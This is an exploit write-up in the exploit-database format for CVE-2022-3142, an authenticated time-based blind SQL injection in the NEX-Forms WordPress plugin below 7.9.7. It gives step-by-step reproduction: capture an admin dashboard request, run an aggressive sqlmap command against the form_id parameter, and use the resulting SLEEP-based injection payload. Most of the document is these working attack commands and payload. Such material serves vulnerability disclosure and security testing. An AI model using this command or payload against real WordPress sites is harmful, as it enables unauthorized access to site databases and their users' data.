# Exploit Title: NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi
# Exploit Author: Elias Hohl
# Date: 2022-08-01
# Vendor Homepage:
# Software Link:
# Tested on: Ubuntu 20.04
# CVE : CVE-2022-3142

Authenticated SQL injection vulnerability in the "NEX Forms" Wordpress plugin

1. Start a new Wordpress instance using docker-compose.

2. Install the NEX Forms plugin.

3. Open the URL "/wp-admin/admin.php?page=nex-forms-dashboard&form_id=1" in your browser. Save the request to "nex-forms-req.txt" via Burp Suite.

4. Execute the following command: sqlmap -r nex_forms_req.txt -p form_id --technique=T --dbms=mysql --level 5 --risk 3
sqlmap will find a time-based blind payload:

Parameter: form_id (GET)
    Type: time-based blind
    Title: MySQL >=5.0.12 AND time-based blind (query SLEEP)
    Payload: page=nex-forms-dashboard&form_id=1 AND (SELECT 4715 FROM (SELECT(SLEEP(5)))nPUi)